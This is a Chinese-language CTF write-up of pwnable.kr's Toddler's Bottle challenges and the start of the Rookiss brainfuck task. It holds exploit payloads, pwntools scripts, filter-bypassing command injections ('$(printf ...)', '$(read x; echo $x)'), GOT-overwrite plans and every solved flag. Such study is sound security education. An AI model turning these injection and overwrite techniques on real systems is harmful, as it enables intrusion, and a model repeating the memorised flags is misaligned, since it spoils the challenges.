Hack Your Heart

Back

这个靶场早有耳闻:https://pwnable.kr/play.php ↗ ,循序渐进

Toddler’s Bottle#

fd#

Mommy! what is a file descriptor in Linux?

ssh fd@pwnable.kr -p2222 (pw:guest)

第一题就把内容全写一下吧:

主要是利用给的fd,要求看懂C语言代码:

1fd@ubuntu:~$ ./fd 4660
2LETMEWIN
3good job :)
4Mama! Now_I_understand_what_file_descriptors_are!
5fd@ubuntu:~$
console

flag:Mama! Now_I_understand_what_file_descriptors_are!

collision#

Daddy told me about cool MD5 hash collision today. I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

感觉都是在考察C语言,我都忘了好几年了。

我们要传入一个值,20字节长,每4字节是一个整数,5个字节加起来等于0x21DD09EC

先随便输入4个,然后另一个多退少补。比如前4个都是0x01010101

1>>> 0x21DD09EC - 0x01010101 *4
2500762088
3>>> hex(500762088)
4'0x1dd905e8'
text

最后一个是0x1dd905e8

由于是小端序,低位要放在低地址,所以这5片都要倒过来,顺序无所谓。由于有不可打印字符,所以用Python传参:

1./col $(python3 -c "import sys; sys.stdout.buffer.write(b'\xe8\x05\xd9\x1d' + b'\x01'*16)")
bash

或者这样,顺序无所谓,反正都会加在一起。

1./col $(python3 -c "import sys; sys.stdout.buffer.write(b'\x01\x01\x01\x01'+b'\xe8\x05\xd9\x1d' + b'\x01'*12)")
bash

flag:Two_hash_collision_Nicely

bof#

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

ssh bof@pwnable.kr -p2222 (pw: guest)

1bof@ubuntu:~$ checksec bof
2[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
3[*] '/home/bof/bof'
4    Arch:       i386-32-little
5    RELRO:      Partial RELRO
6    Stack:      Canary found
7    NX:         NX enabled
8    PIE:        PIE enabled
9    Stripped:   No
console

这题是栈溢出,但不是自己rop到system,而是把栈里面的0xdeadbeef覆写成0xcafebabe

有个readme:

1bof@ubuntu:~$ ls
2bof  bof.c  readme
3bof@ubuntu:~$ cat readme
4bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag
console

程序开在本地9000端口

调试如下:

距离是52,填入52个垃圾字符,再写入0xcafebabe就行,这题还有一点,我在调试的时候,直接执行是输出一句"overflow me : “,但是远程时,是先让我输入:

1bof@ubuntu:~$ nc 0 9000
2ls
3overflow me : Nah..
4
5bof@ubuntu:~$ ./bof
6overflow me : ls
7Nah..
console

所以脚本里面要直接发送payload:

flag:Daddy_I_just_pwned_a_buff3r!

passcode#

Mommy told me to make a passcode based login system. My first trial C implementation compiled without any error! Well, there were some compiler warnings, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

1passcode@ubuntu:~$ tree
2.
3├── a
4│   └── a.out
5├── flag
6├── passcode
7└── passcode.c
8
91 directory, 4 files
console

两个文件功能一样,但是又有不一样的地方:

a.out可以输入账密的,但是flag不在他的目录,没有cp,mv权限。

a.out报错:

passcode调试崩掉:

a能执行,但是没有不在flag目录里。passcode调试崩掉是因为把 EAX 的值写入 EDX 指向的内存时,edx存的地址是非法的。

这怎么可能,源代码用的是&passcode2啊。问了AI,说是二进制文件跟源码不是一套,wcnm

二进制程序login函数用的是scanf("%d", passcode2);,

这道题我是没太懂的,有一篇wp极其清楚:Writeups Kunull.net ↗

这题没开PIE,name的初始化区域在ebp-0x70,而login里面两个scanf是在ebp-0x10的位置。复用了栈空间。

0x70=112,name是100长度,所以末端距离ebp还有12的距离,而passcode1是0x10=16距离,name的后4字节内容被passcode1当地址写入了。

源代码里还有一个很突兀的fflush(stdin);,这里的思路是name最后4字节写这个fflush的地址,passcode1呢就输入system地址,这样就把system写入了fflush,等到执行fflush的时候,就会执行system了。

汇编一下login:获取fflush和system的地址:

1pwndbg> disassemble login
console

这里的地址不能信,这是代码段的地址,因为还没有执行,所以got表没更新真实地址。

这里用三种方式都能获取到fflush的got表地址:

 1pwndbg> got
 2Filtering out read-only entries (display them with -r or --show-readonly)
 3
 4State of the GOT of /home/passcode/passcode:
 5GOT protection: Partial RELRO | Found 10 GOT entries passing the filter
 6[0x804c00c] __libc_start_main@GLIBC_2.34 -> 0xf7d5f560 (__libc_start_main) ◂— endbr32
 7[0x804c010] printf@GLIBC_2.0 -> 0xf7d95a90 (printf) ◂— endbr32
 8[0x804c014] fflush@GLIBC_2.0 -> 0x8049066 (fflush@plt+6) ◂— push 0x10
 9[0x804c018] __stack_chk_fail@GLIBC_2.4 -> 0x8049076 (__stack_chk_fail@plt+6) ◂— push 0x18
10[0x804c01c] getegid@GLIBC_2.0 -> 0x8049086 (getegid@plt+6) ◂— push 0x20 /* 'h ' */
11[0x804c020] puts@GLIBC_2.0 -> 0xf7db12a0 (puts) ◂— endbr32
12[0x804c024] system@GLIBC_2.0 -> 0x80490a6 (system@plt+6) ◂— push 0x30 /* 'h0' */
13[0x804c028] exit@GLIBC_2.0 -> 0x80490b6 (exit@plt+6) ◂— push 0x38 /* 'h8' */
14[0x804c02c] setregid@GLIBC_2.0 -> 0x80490c6 (setregid@plt+6) ◂— push 0x40 /* 'h@' */
15[0x804c030] __isoc99_scanf@GLIBC_2.7 -> 0xf7d96c60 (__isoc99_scanf) ◂— endbr32
console

还有系统命令:

还有readelf:

这里一直失败,才知道执行login函数里面的system并不是system的地址,而是从前面各种准备工作开始的。比如setgid之类的代码。 反汇编代码:

1# gdb里面反汇编login函数
2disass login
3
4# -d 反汇编,-M intel 使用 intel 语法(更易读),--disassemble 指定反汇编的函数
5objdump -d --disassemble=login ./passcode -M intel
6
7# -d 反汇编,-M intel 使用 intel 语法(更易读),-A 显示行数
8objdump -d ./passcode -M intel | grep -A 100 "<login>:"
bash

不论哪种方法,login段这里很重要,if函数就是cmp(比较)与jne(跳转)的组合。 第1行是与0x1e240(123456)比较,失败就执行下一行 jne,成功就跳过下一行的 jne 第2行同理,成功的话就跳过 jne,可以看到两个jne都是跳到0x80492ce,我们需要跳转到成功代码块,就是第二个jne的下一行,也就是地址0x804928f ,这里会完成各种权限提升,和读取flag操作。

脚本:

flag:s0rry_mom_I_just_ign0red_c0mp1ler_w4rning

tips:IDA里面伪代码是这样的:

可以看到if成功块是第19行的puts("Login OK!");。 如果对着puts("Login OK!");行按tab,定位汇编,会定位到调用puts函数的汇编,而之前的压参数等操作不好确认。此时Ctrl A全选伪代码,右键选择:Copy to assembly,就可以把对应伪代码贴到汇编窗口,一一对应,能够精确显示puts("Login OK!");代码是从哪一个地址开始的:

成功地址也是0x0804928F

random#

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

source code :

 1random@ubuntu:~$ checksec random
 2[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
 3[*] '/home/random/random'
 4    Arch:       amd64-64-little
 5    RELRO:      Full RELRO
 6    Stack:      Canary found
 7    NX:         NX enabled
 8    PIE:        PIE enabled
 9    SHSTK:      Enabled
10    IBT:        Enabled
11    Stripped:   No
12random@ubuntu:~$ ./random
13111
14Wrong, maybe you should try 2^32 cases.
console

看样子是猜随机数,gdb调试一下发现不能直接输入0xcafebabe的十进制,有个异或在。scp下载到本地

1scp -P 2222 random@pwnable.kr:/home/random/random C:\Users\Tajang\Desktop\
cmd

打算用IDA Pro看一下,才想起来有源码。不知道怎么做,随机的跟什么异或啊,又不是php那种==有弱比较。 查了一下明白了,rand并非是真随机,是伪随机,是算出来的。给的种子不同,算出来的值也不同。种子需要用srand函数设置。这里没有设置,那rand函数默认用的种子是1,那么生成的随机数序列就是根据1算出来的。这个源码,全世界所有电脑运行出来的随机数序列都是一样的。 例子:

output :

 1不设置种子
 21804289383
 3846930886
 41681692777
 5
 6设置种子为1
 71804289383
 8846930886
 91681692777
10
11设置种子为2
121505335290
131738766719
14190686788
text

可以看到区别,不设置种子与种子1,序列一样的。这里直接计算0xcafebabe xor 1804289383就是key 脚本:

 1random@ubuntu:~$ python
 2Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
 3Type "help", "copyright", "credits" or "license" for more information.
 4>>> print(1804289383 ^ 0xcafebabe)
 52708864985
 6>>> quit()
 7random@ubuntu:~$ ./random
 82708864985
 9Good!
10m0mmy_I_can_predict_rand0m_v4lue!
console

input2#

Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)

考察C语言基础,说实话,我不靠AI看不懂,流程懂了就写脚本。 这里需要注意的是参数个数,形如

1./input A B C
2这样,argc = 4,argv[0] = 程序名,也就是./input
text

但是pwntools传数组参数时候,数组就是全部参数,包含程序名,比如传递100个K,假如程序源码通过argv[0]获取自身程序名,就会获取到K,不过一般没有程序会获取自己程序名搞事情。在本题中程序虽然认为自己是K,但是executable指定了程序,因此也没啥问题。

这题需要创建文件,pwnable.kr只有 /tmp 下的文件夹有权限,但是文件夹内没 flag,所以通过ln -s创建软链接即可。 虽然系统对环境变量还有文件名都有转码,但是还是建议全部加 b 前缀,显式指明字节流。 脚本:

输出:

 1input2@ubuntu:/tmp/test$ python exp.py
 2[+] Starting local process '/home/input2/input2': pid 4020390
 3[+] Opening connection to localhost on port 1234: Done
 4[*] Closed connection to localhost port 1234
 5[+] Receiving all data: Done (251B)
 6[*] Process '/home/input2/input2' stopped with exit code 0 (pid 4020390)
 7Welcome to pwnable.kr
 8Let's see if you know how to give input to program
 9Just give me correct inputs then you will get the flag :)
10Stage 1 clear!
11Stage 2 clear!
12Stage 3 clear!
13Stage 4 clear!
14Stage 5 clear!
15Mommy_now_I_know_how_to_pa5s_inputs_in_Linux
console

leg#

Daddy told me I should study ARM architecture. But I know Intel architecture and it should be similar. Why bother to study ARM?

Download : http://pwnable.kr/bin/leg.c ↗ Download : http://pwnable.kr/bin/leg.asm ↗

ssh leg@pwnable.kr -p2222 (pw:guest)

源码

汇编

这道题看源码反而不清晰,要看汇编。这三个函数给了汇编,三个函数返回值加起来就是我们要输入的值,这三个值是由寄存器里的值决定的,而且是专门记录程序地址的寄存器,这里是写死的。

PC(R15):程序计数器,存下一条指令的地址
LR(R14):链接寄存器,存函数调用的返回地址
R0:ARM 中int函数的返回值寄存器(函数返回值存在这里)

指令集:.code 32=32 位 ARM 指令,.code 16=16 位 Thumb 指令

看key1的汇编:

 1(gdb) disass key1
 2Dump of assembler code for function key1:
 3   0x00008cd4 <+0>:     push    {r11}           ; (str r11, [sp, #-4]!)
 4   0x00008cd8 <+4>:     add     r11, sp, #0
 5   0x00008cdc <+8>:     mov     r3, pc
 6   0x00008ce0 <+12>:    mov     r0, r3
 7   0x00008ce4 <+16>:    sub     sp, r11, #0
 8   0x00008ce8 <+20>:    pop     {r11}           ; (ldr r11, [sp], #4)
 9   0x00008cec <+24>:    bx      lr
10End of assembler dump.
console

把pc存入r3那句指令地址是0x00008cdc,pc作为下一指令地址并非0x00008ce0,而是0x00008ce4,因为ARM 是三级流水线,执行到第一句,pc已经指向第三句,所以arm32 pc是当前地址加0x8

key2,只要看r0就行,r0是r3,r3是r3+0x4,r3 = pc,这里的pc是thumb,pc等于当前地址+4,所以key2为0x00008d04 + 0x4 +0x4 = 0x00008d0c

key3,r0是r3,r3是lr,lr存的是当前函数的返回地址,也就是调用key3的那一句代码地址的下一句,毕竟执行完要执行下一步。这里要看main函数了,调用key3是这句0x00008d7c <+64>: bl 0x8d20 <key3>,所以lr就是0x00008d7c + 0x4 = 0x00008d80

1>>> 0x00008ce4 + 0x00008d0c + 0x00008d80
2108400
text
1/ $ ./leg
2Daddy has very strong arm! : 108400
3Congratz!
4daddy_has_lot_of_ARM_muscl3
console

mistake#

We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)
This task is based on real event

ssh mistake@pwnable.kr -p2222 (pw:guest)

漏洞在于fd=open("/home/mistake/password",O_RDONLY,0400) < 0,正常来说fd是获得文件流,但是<的优先级高于=,所以表达式跟0比较后,只能得到0或1,于是给fd赋予0或1。本地有这个文件,肯定是成功的,所以fd=0
由于这句if(!(len=read(fd,pw_buf,PW_LEN) > 0)),read本来从文件流中读取,现在是从标准输入读取,所以我们可以控制pw_buf,后面buf2也是我们进行输入的。只要buf2输入异或后的就行了。

我这里用python计算一下:

1for循环
2>>> for c in 'KKKKKKKKKK':
3...     print(chr(ord(c) ^ 0x1),end='')
4... 
5JJJJJJJJJJ
6
7列表推导式
8>>> print(''.join(chr(ord(c) ^ 0x1) for c in 'KKKKKKKKKK'))
9JJJJJJJJJJ
text
1mistake@ubuntu:~$ ./mistake
2do not bruteforce...
3KKKKKKKKKK
4input password : JJJJJJJJJJ
5Password OK
6Mommy_the_0perator_priority_confuses_me
console

coin1#

Mommy, I wanna play a game!

ssh coin1@pwnable.kr -p2222 (pw: guest)

没有二进制和源码,只有nc连接。称硬币的游戏,好像在哪听过。 n枚硬币中有一枚假币,c次机会,在c次内猜中假币。假币重量是9,真币是10,要找到100个伪币。必须称满C次,第C+1次输入答案。上面给的例子就是这样。如果你1次猜中也不行。感觉像ACM的初级题目。 所以写二分查找的脚本,由于有时间限制,而且大陆访问可能有波动,建议上传脚本到服务器上。tmp目录不可读但可写,所以tmp下新建文件夹就行。

flag: b1naRy_S34rch1Ng_1s_3asy_p3asy 复习了二分法,还有一堆Python语法,python2写这个简洁不少,python3严格区分了字节流,语句各种编码解码,都变长了。

blackjack#

Hey! check out this C implementation of blackjack game! I found it online

I like to give my flags to millionares. how much money you got?

ssh blackjack@pwnable.kr -p2222 (pw:guest)

source code:

21点游戏,没玩过,问了下豆包才知道。每人两张牌,越接近21越大,21是最大牌。超过21点爆掉直接输。发完牌可以选择是否抽牌,还是不抽。 这里不用看代码了,逻辑漏洞,没有检测负数情况。就直接下注一个负数就行,输掉,就给我们很多钱,参考《宁波市第八届网络安全大赛决赛Writeup》Easy_shop那题 由于题目说百万富翁,这里下注-9999999,输掉就行,然后继续游戏,弹出 flag flag:Woohoo_I_am_now_a_MILL10NAIRE!

lotto#

Mommy! I made a lotto program for my homework. do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

做到这题才发现不用关闭终端去重新连接,直接su lotto,然后cd ~就行。。。 彩票游戏,猜数字,要跟随机数一样,然后计算分数。关键是这个计分,两层循环,是把彩票值与输入值挨个对比,对一个加1分。满6分就赢了。 思路是输入6个一样的值,如果蒙对一个,挨个对比导致对6个加6分。 这样蒙对的概率就从1/8145060降到2/15, 脚本:

 1from pwn import *
 2context.log_level= 'debug'
 3io = process('/home/lotto/lotto')
 4
 5for i in range(0,100):
 6    io.sendlineafter(b"3. Exit",'1')
 7    io.sendafter(b" :",p8(8)*6)
 8    io.recvuntil('bad luck...')
 9
10io.interactive()
python

老是搞错,字面量和字节。这里一个8就是一个字节,是\x08,所以用p8打包,两字节用p16,以此类推。 debug模式非常方便看接收和发送。read读取输入,可以用send()和sendline(),fgets和scanf必须用sendline

flag:Sorry_mom_1_Forgot_to_check_duplicates

cmd1#

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

代码很简单,设置环境变量,路径为无效路径,PATH是 Linux 找命令的路径,改成无效路径后,ls、cat等默认命令都无法直接调用。把参数过滤一遍,命中一次敏感词计数器就加1,计数器=0,也就是绕过才行。这里通过绝对路径读flag就可以了,过滤flag就用问号星号代替。

1cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla?"
2PATH_environment?_Now_I_really_g3t_it,_mommy!
3cmd1@ubuntu:~$ ./cmd1 "/bin/cat f*"
4PATH_environment?_Now_I_really_g3t_it,_mommy!
console

flag:PATH_environment?_Now_I_really_g3t_it,_mommy!

cmd2#

Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission… but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

密码是 cmd1 的flag:PATH_environment?_Now_I_really_g3t_it,_mommy!

tips: 参数是可执行的那种的话,单引号跟双引号是不一样的:

./test ‘(echo abc)’ argv[1] = $(echo abc)

./test “(echo abc)” argv[1] = abc

单引号会原样传递命令,而不执行它。 双引号会先执行命令,然后将命令的输出传递出去(无法传递给过滤器)。

printf 是 shell 内置命令,不需要 / 路径、不需要 PATH,直接能用,语法是printf "格式字符串" 参数1 参数2 参数3...,参数以\开头代表是转义。 这里贴Abdallah Elshinbary ↗ 的wp,他是用八进制绕过的:

1./cmd2 '$(printf "%bbin%bcat %s%s" "\57" "\57" "fl" "ag")'
bash

这里发现并不需要拆flag,同样用问号就行:

1./cmd2 '$(printf "%bbin%bcat fla?" "\57" "\57")'
bash

另外给了一种很酷的解法:

1cmd2@ubuntu:~$ ./cmd2 '$(read x; echo $x)'
2$(read x; echo $x)
3/bin/cat flag
4Shell_variables_can_be_quite_fun_to_play_with!
console

先read等待我的输入,然后$执行我输入的内容。最后echo打印。

从Aloxaf ↗ 抄了一段:

memcpy#

Are you tired of hacking?, take some rest here. Just help me out with my small experiment regarding memcpy performance. after that, flag is yours.

ssh memcpy@pwnable.kr -p2222 (pw:guest)

1the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
2execute the binary by connecting to daemon(nc 0 9022).
3
4nc 0 2000 if service is down
text

好多文件,首先要读懂那个c文件。就是做实验,对比两种复制块的方法,哪一种更快。 为什么用 mmap?为了避开 malloc 缓存、避开用户态内存管理,获得最干净、最稳定的内存,保证实验准确。

服务器上才有flag,我们输入十次看看,像白给的。

不知道为什么卡在第四个实验,明明都是符合条件的。代码开头给了编译指令,这里编译,并且运行,发现是正常的。难道本地编译器做了优化吗?Dockerfile和super.pl都是部署靶机环境的,排查发现,靶机是ubuntu 22.04,而目标是ubuntu 16.04编译的。

1memcpy@ubuntu:~$ lsb_release -a
2No LSB modules are available.
3Distributor ID: Ubuntu
4Description:    Ubuntu 22.04.5 LTS
5Release:        22.04
6Codename:       jammy
7memcpy@ubuntu:~$ head -n 1 Dockerfile 
8FROM ubuntu:16.04
console

我物理机是windows,用了各种方法用16.04的libc编译都不成功,只好新建虚拟机,编译完如下:

出现了段错误,卡在第四个实验,与远程环境一致。

这里如果把16.04上编译的程序放到靶机或者自己的22.04上会发现程序正常,因为程序是动态链接,22.04的libc优化了这个错误。

所以编译的时候加上-static参数,这样程序就把16.04的libc编写进去。于是在高版本机器上也可以复现错误了。

如果不用这种方法,可以通过patchelf来修改二进制程序的链接加载,但是需要手动指定旧版本libc的路径。

{: .prompt-tip }

gdb运行到错误的地方,如下:

1 ► 0x80488ed <fast_memcpy+52>    movntps xmmword ptr [edx], xmm0
2   0x80488f0 <fast_memcpy+55>    movntps xmmword ptr [edx + 0x10], xmm1
3   0x80488f4 <fast_memcpy+59>    movntps xmmword ptr [edx + 0x20], xmm2
4   0x80488f8 <fast_memcpy+63>    movntps xmmword ptr [edx + 0x30], xmm3
console

查到movntps:

使用非临时提示将源操作数(第二个操作数)中的压缩单精度浮点值移动到目标操作数(第一个操作数),以防止在写入内存时对数据进行缓存。源操作数为 XMM 寄存器、YMM 寄存器或 ZMM 寄存器,假定其中包含压缩单精度浮点值。目标操作数为 128 位、256 位或 512 位的内存位置。内存操作数必须按 16 字节(128 位版本)、32 字节(VEX.256 编码版本)或 64 字节(EVEX.512 编码版本)边界对齐,否则将产生通用保护异常 (#GP)。 https://www.felixcloutier.com/x86/movntps ↗ {: .prompt-info }

MOVNTPS的错误码释义: https://c9x.me/x86/html/file_module_x86_id_197.html ↗

错误码释义
#GP(0)For an illegal memory operand effective address in the CS, DS, ES, FS or GS segments. If a memory operand is not aligned on a 16-byte boundary, regardless of segment.
#SS(0)For an illegal address in the SS segment.
#PF(fault-code)For a page fault.
#NMIf TS in CR0 is set.

注意,movntps只检测dest指针是否对齐,而上一步的movdqa 检测src指针是否对齐。

查看当前指令目标寄存器保存的地址:

1pwndbg> info registers edx
2edx            0x80f1538           135206200
console

当前指令是xmmword,代表16字节对齐,ymm是32字节对齐,zmm是64字节对齐。为什么需要16字节对齐?因为xmm寄存器就是存16字节数据的,movntps 一次写入 16字节(128位),CPU 为了效率,要求这16字节必须从一个16倍数的地址开始:比如0x80f1530,第二块是0x80f1540,SSE 指令集为了极致速度不能跨块。

这里很明显没有16字节对齐,所以解出这道题的关键就是输入大小刚好的块,让开辟的所有chunk都是16字节对齐的。 堆相关数据结构 ↗

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

 1chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 2        |             Size of previous chunk, if unallocated (P clear)  |
 3        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 4        |             Size of chunk, in bytes                     |A|M|P|
 5  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 6        |             User data starts here...                          .
 7        .                                                               .
 8        .             (malloc_usable_size() bytes)                      .
 9next    .                                                               |
10chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
11        |             (size of chunk, but used for application data)    |
12        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
13        |             Size of next chunk, in bytes                |A|0|1|
14        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
text

glibc ptmalloc 计算 chunk 实际大小的源码,向上取整:

1#define MALLOC_ALIGNMENT (2 * SIZE_SZ) // 对齐单位 = 2 * SIZE_SZ
2#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) // 对齐掩码 = 对齐单位-1
3
4// 跟最小空间比较
5#define request2size(req)                                         \
6  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
7   MINSIZE :                                                      \
8   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
c

解释一下符号含义:

符号含义32位64位
req用户申请的字节数\\
SIZE_SZ指针大小48
2 * SIZE_SZchunk最小对齐单位(M)816

注意这里的逻辑是空间复用的情况,本来实际chunk大小是req + SIZE_SZ + SIZE_SZ,但是由于复用,chunk可以侵占下一个chunk的prev_size,所以只需要给他一个SIZE_SZ,它不够了会去占用的。

64位系统上,这个函数等价于chunk_size = (req + SIZE_SZ + 15) & ~15,这行代码等价于chunk_size = ceil((req + SIZE_SZ) / 16) * 16,这是数学原理,目的是向上取整到16的倍数。

回到这题,32位系统,公式变成:chunk_size = (req + 4 + 7) & ~7,假如申请8空间,chunk_size=16,刚好对齐。假如申请16空间,chunk_size = 24,24 只是 8 的倍数,不是 16 的倍数。那为什么这道题输入24并没有崩溃,而且后面几个实验才崩溃呢? 因为堆分配在堆初始化后,往往是从0x08开始,这是堆的初始偏移。为什么?

在 x86 (32位) 系统上,为了支持 double 等类型,malloc 保证返回的地址至少是 8字节对齐 的。而在 x86_64 (64位) 系统上,为了支持 long double 或 SSE 指令集,它保证返回的地址是 16字节对齐的。但是由于堆初始化等等问题,32位系统就已经是0x08开头

chunk实际地址与指针地址不是一个概念,指令验证的16字节对齐,是验证指针地址的。而指针地址,指向的是用户区域user data开始的地址,并非chunk地址,我画了一张图:

这里可以看出两个指针都是对齐的。 关于这里的复用,第一次输入8,公式计算出实际大小为16,可用空间是12(包括了下一块的prev_size),由于我只用8字节,所以prev_size并没有侵占。但如果输入12,公式计算实际大小依然是16,上图完全不会变化,只是在程序运行的时候写数据会侵占第二块的prev_size而已。 这题已经很明显了,我输入的数据,必须对齐,而且要考虑堆初始地址的0x8偏移,所以填入的所有区块大小都应该满足16 * n + 8。 那么生成这10个数就很好写了,因为给的区间就是2 ^ e-1到2 ^ e之间,e还是从4开始取的。第一个区间是8-16,后面的区间是16-32……,除了第一个外,后面的区间左端点必然都是16的倍数,那么脚本除了第一个外,都写 (2 ^ e-1) + 8就行了。 解题脚本:

1from pwn import *
2
3io = remote('localhost' , 9022)
4io.sendlineafter(b'8 ~ 16 : ',str(8).encode())
5for e in range(5,14):
6    m = pow(2,e-1)+8
7    io.sendlineafter(b' : ',str(m).encode())
8
9print(io.recvall().decode())
python

那么短的脚本背后是那么多的知识储备。 flag:b0thers0m3_m3m0ry_4lignment

asm#

Mommy! I think I know how to make shellcode

ssh asm@pwnable.kr -p2222 (pw: guest)

flag名很长,沙箱没什么好说的,就是给我们限制一个安全环境。然后读取我们输入的shellcode,然后执行。限时十秒 这里脚本写好open flag,再write到标准输出就可以了。

那个stub变量可以用pwntools的disasm函数,从机器码反编译成汇编:

很明显是清空寄存器,可能是怕寄存器初始内容影响payload 至于shellcode可以用pwntools自带的组件生成,张剑威老师讲过这个,具体调用系统命令跟之前的ret2syscall差不多,就是找各种gadget,往寄存器写参数,最后压入系统调用号就行。我不太建议写汇编,因为学汇编不快乐。

操作系统是分层执行命令的,读取一个文件,需要open把文件打开,返回一个句柄。read就是从句柄那里拿到内容,write是把内容向0/1/2输出。

64位系统,函数的返回值都会放在rax寄存器,我们就从此读取length长度内容,存到rsp寄存器,再从rsp写到标准输出就行

flag:Mak1ng_5helLcodE_i5_veRy_eaSy

horcruxes#

Voldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and ROP it! author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

喔,要rop了,入门篇的最后一个居然是rop

1[*] '/home/horcruxes/horcruxes'
2    Arch:       i386-32-little
3    RELRO:      Full RELRO
4    Stack:      No canary found
5    NX:         NX enabled
6    PIE:        No PIE (0x8040000)
7    Stripped:   No
text

看起来没什么保护

使用gest获取值,存在栈溢出,而且可以读取全局变量吧。 很明显200个垃圾数据,就触发了段错误:

1horcruxes@ubuntu:~$ ./horcruxes 
2Voldemort concealed his splitted soul inside 7 horcruxes.
3Find all horcruxes, and destroy it!
4
5Select Menu:1
6How many EXP did you earned? : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
7You'd better get more experience to kill Voldemort
8Segmentation fault (core dumped)
console

函数给了ORW代码,所以我写rop链就好了,栈:

ORW的汇编:

可以看到是连续的,那我跳到open就可以了,但是一直不行:

而跳转abcd函数却可以:

本地调试是可以打印sum值的,但是flag在远程服务器内存里面。不能直接打印sum输入,如果通过构造print sum可能可以,不过太麻烦了。 所以思路是,连续跳转7个函数获得他们的七个变量值,然后跳转到ropme函数,输入此值。 调试完如下:

循环获取地址,再跳到ropme输入

这个脚本居然是好是坏,然后才知道 res 有时候会发生32位的整数溢出,超过2^32 -1 后输入程序后被溢出处理了: C 语言直接相加得到的溢出,采用一种 补码模 232 回绕 的方式计算和,我们后面的脚本也会用这种方式处理

处理了一下溢出,并且使用远程连接,这样随意在虚拟机就能运行:

Rookiss#

brain fuck#

I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell.

ssh brainfuck@pwnable.kr -p2222 (pw: guest)

前一章总共90分,这题就100了,务必拿下!

1brainfuck@ubuntu:~$ checksec brainfuck
2[*] '/home/brainfuck/brainfuck'
3    Arch:       i386-32-little
4    RELRO:      Partial RELRO
5    Stack:      Canary found
6    NX:         NX enabled
7    PIE:        No PIE (0x8048000)
8    Stripped:   No
console

打过CTF的肯定都知道brainfuck,这里不多说了

main没什么特别,就是把tape的指针转成整型。然后进入一个简单的brain fuck模拟程序

这个程序遍历输入的字符,然后根据字符内容做一些操作

字符操作
+p指向的值自增1,就是tape+1
,读取下一个字符,赋给p指向的值,改写tape
-p指向的值自减1,就是tape-1
.打印p指向的值,打印tape
<p自减,指p的值,也就是保存的tape地址
>p自增,指p的值,也就是保存的tape地址
[不支持

漏洞在于do_brainfuck没有什么限制,通过<和>可以把指针指向正负1024的区域。用.打印p的值,计算偏移。然后来来回回调用输入。

这里的利用点是

1  memset(s, 0, sizeof(s));
2  fgets(s, 1024, stdin);
c

把 memset改成gets,fgets改成system,因为他们都有s参数,这样可以把参数写成/bin/sh,达到命令执行

问题在于如何获取fgets和system,他们都在libc里面,所以需要泄露libc,而brainfuck模拟器函数,可以做到这一点,我们先移动指针,然后打印指针就行了。

这里没有开PIE,所以本地地址与远程一样。

1pwndbg> p &p
2$1 = (<data variable, no debug info> *) 0x804a080 <p>
3pwndbg> p &tape
4$2 = (<data variable, no debug info> *) 0x804a0a0 <tape>
5pwndbg> x/x &p
60x804a080 <p>:  0x0804a0a0
7pwndbg> x/x &tape
80x804a0a0 <tape>:       0x00000000
console

可以看到,p里存储的是tape的地址,在我输入<,进行一次有效switch后,保存的值果然减少了1:

1pwndbg> x/x &p
20x804a080 <p>:  0x0804a09f
console

我输入,,然后输入KKKK,getchar只取一个值,并且赋给了起始位置:

1pwndbg> x/x &tape
20x804a0a0 <tape>:       0x0000004b
console

所以写入地址的话,要每次移动一个字节再写入。小端序是低地址在低位,所以写地址应该,>4次。泄露地址要.>4次,接收它无需做一次逆序拼接。用pwntools的u32解包就自动把小端序字节流解码成正常地址。

注意,逐个读写字节后,指针指向末尾,应该再<4次,让指针指向开头,也就是还原指针的位置,后续做其他got表项的计算更方便点。

